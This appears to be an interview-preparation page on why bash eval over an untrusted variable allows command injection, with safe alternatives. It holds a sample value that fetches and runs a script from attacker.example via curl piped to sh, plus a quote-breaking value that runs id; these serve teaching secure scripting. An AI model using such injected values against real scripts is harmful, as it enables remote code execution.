skip to content

A bash deploy script assembles a command string from an environment variable it did not set and runs it with eval "$cmd". What does eval do to that string, and what can whoever controls the variable achieve?

level: juniorimportance: must knowfreq 68%

answer

  1. one more round of parsing
  2. data becomes syntax
  3. quotes are consumed by round one
  4. sh -c and ssh do the same thing
  5. values belong in argument position

basics

~20 s

eval joins its arguments and hands the result back to the shell parser, so metacharacters inside the variable become syntax instead of data. Anyone who controls the value can run arbitrary commands as the script's user.

solid answer

~50 s

Normally a variable's value is inert: bash parses the line first, then expands, so `dir='a; id'` in `ls "$dir"` just asks for a file whose name contains a semicolon. `eval` deliberately breaks that order — it concatenates its arguments and feeds the text back through a second full round of parsing, so `;`, `|`, `&`, backticks and `$( )` inside the value become live shell syntax. That means whoever sets the variable gets arbitrary command execution with the script's user, environment and credentials. Quoting the expansion does not help: `eval "$cmd"` and `eval $cmd` differ only in the first round; both give round two the same text. The same shape hides in `sh -c "$cmd"`, `bash -c`, and a command string handed to `ssh`. The fix is to keep untrusted values in argument position of a fixed command, or dispatch a token through an allowlist.

code

bash · 8 lines
bash
#!/usr/bin/env bash
name='x"; id #'   # value from somewhere you do not control

# UNSAFE: after expansion, eval parses the text again and id runs
eval "echo \"hello $name\""

# SAFE: the value can only ever be an argument
printf 'hello %s\n' "$name"

go deeper

for a junior

Be ready to say plainly that eval re-parses its argument as shell code, so a value containing a semicolon or a command substitution runs as a command. Name one alternative, such as passing the value as an argument to a fixed command.

for a middle

Explain the ordering: bash parses, then expands, so an expanded value is normally inert; eval reintroduces a parse after expansion. Show that quoting only affects the first round, and point out sh -c and a remote ssh command as the same defect.

for a senior

Demonstrate judgment about provenance: eval on the output of ssh-agent is fine, eval on anything a caller influences is remote code execution as the script's user. Be able to refactor a real eval-based dispatcher into a case allowlist or an argv call.

for a principal

Own the policy: ban constructed command strings in the codebase, make the lint rule and the review question explicit, and decide when a script that needs dynamic dispatch has outgrown bash and should become a program with a real argument vector.

## Why an ordinary variable is harmless Bash processes a command in fixed stages: it parses the line into words and operators, performs expansions (parameter, command substitution, arithmetic), applies word splitting and pathname expansion to the *unquoted* results, and then executes. The key property is that parsing happens **before** expansion. By the time `$dir` turns into text, the shell has already decided where commands begin and end, so the text can only become arguments. ```bash dir='a; id' ls -- "$dir" # ls: cannot access 'a; id' -- one argument, semicolon and all ``` That is the invariant every safe shell script relies on: **data expanded into an already-parsed command line stays data**. ## What eval changes `eval` is a builtin whose entire job is to break that invariant. It concatenates its arguments with spaces and submits the resulting string to the parser again, exactly as if you had typed it. ```bash cmd='backup --dest /srv; curl -s http://attacker.example/p.sh | sh' eval "$cmd" ``` Round one expands `"$cmd"` into one argument. Round two *parses that argument*: it sees two commands separated by `;`, the second one a pipeline, and runs both. There is no sandbox and no privilege drop — the injected commands get the script's user, its environment variables, its working directory, its cloud credentials and, if the script runs under sudo or as a container entrypoint, whatever privileges that carries. ## Quoting protects the wrong round The most common wrong fix is to add quotes. Quotes govern word splitting and globbing in the round where they appear; they are consumed there and never reach round two. `eval "$cmd"` prevents the *first* round from splitting the string into words, which is why it is the recommended form stylistically — but round two still parses the same characters. Escaping is no better as a general defence: the value would have to be quoted for the exact grammar the second parse uses, which is what shell quoting functions exist for and what hand-rolled escaping consistently gets wrong. ## The same defect wearing other clothes Anything that ends with a shell parsing a string you built is eval: - `sh -c "$cmd"` / `bash -c "$cmd"` — a new shell, same second parse. - `ssh host "cmd $value"` — the remote login shell does the parsing. - `trap "$cmd" EXIT` — the trap argument is stored as text and re-parsed as shell code when the signal fires. - `source ./config.sh` on a file another account can write — the whole file is code, not configuration. - `xargs -I{} sh -c "process {}"` — the substituted item lands inside the script text. ## What to write instead 1. **Keep values in argument position.** `rsync -av -- "$src" "$dst"` can never execute `$src`; the command is fixed and the value is an operand. 2. **Dispatch through an allowlist.** When the *action* is dynamic, map an input token to a fixed command rather than executing the token: ```bash case $action in start) systemctl start myapp ;; stop) systemctl stop myapp ;; *) echo "unknown action" >&2; exit 2 ;; esac ``` 3. **Use indirect expansion for dynamic variable names.** `eval "value=\$$name"` is the classic excuse for eval; `${!name}` does the same read without a second parse (bash also offers namerefs from 4.3 onward). 4. **When a shell genuinely must run the work, pass the value as an argument to that shell**, keeping the script text a constant: ```bash sh -c 'rm -rf -- "$1"' _ "$dir" ``` The single-quoted script never contains the value; the `_` fills `$0` and `$dir` arrives as `$1`, already parsed. ## Where eval is legitimate `eval "$(ssh-agent -s)"` and `eval "$(direnv hook bash)"` are normal, because the string comes from a trusted program whose output is designed to be shell code. The rule is about **provenance**, not syntax: eval on output you control is a tool; eval on anything an outside party can influence is an execution primitive you handed away. ## Why filtering the input fails Teams often try to strip `;` and `|`. The shell's command-separator vocabulary is far larger: a newline, `&`, `&&`, `||`, `$(...)`, backticks, `${var:=...}` with side effects, redirections that clobber files, and glob characters that expand against the filesystem. Denylisting a grammar you did not design is a losing position — the general form of that argument belongs to injection theory, and the bash-specific conclusion is simply: do not create a second parse over data you did not produce.

  • A colleague needs to read a variable whose name is computed at runtime and writes eval "value=\$$name". Is that the right tool?
    No. Bash has indirect expansion for exactly this: `value=${!name}` reads the variable whose name is held in `name`, with no second parse. Bash 4.3 and later also offer namerefs via `declare -n`. Reserve eval for strings produced by a program you trust to emit shell code.
  • Is sh -c "$cmd" meaningfully safer than eval "$cmd"?
    No — a fresh shell parses the same string, so the injection is identical; you only gain a separate process and environment. The safe form keeps the script text constant and passes data as arguments: `sh -c 'rm -rf -- "$1"' _ "$dir"`. There the value arrives as `$1`, already parsed, and can never become syntax.
  • The input is validated by a regex that rejects semicolons and pipes. Is the eval now safe?
    No. That is a denylist against a grammar you did not design: newline, `&`, `&&`, backticks, `$( )`, redirections and glob characters all remain. Validate positively instead — match the value against the exact shape you expect, such as a case pattern rejecting anything outside [A-Za-z0-9._-] — and still avoid the second parse.

saying these in an interview costs you the question

  • Quoting the expansion makes eval safe
  • Only semicolons are dangerous, so strip them
  • sh -c is a safer alternative to eval
  • The variable comes from our own CI, so it is trusted
  • Escaping the input is equivalent to not using eval

context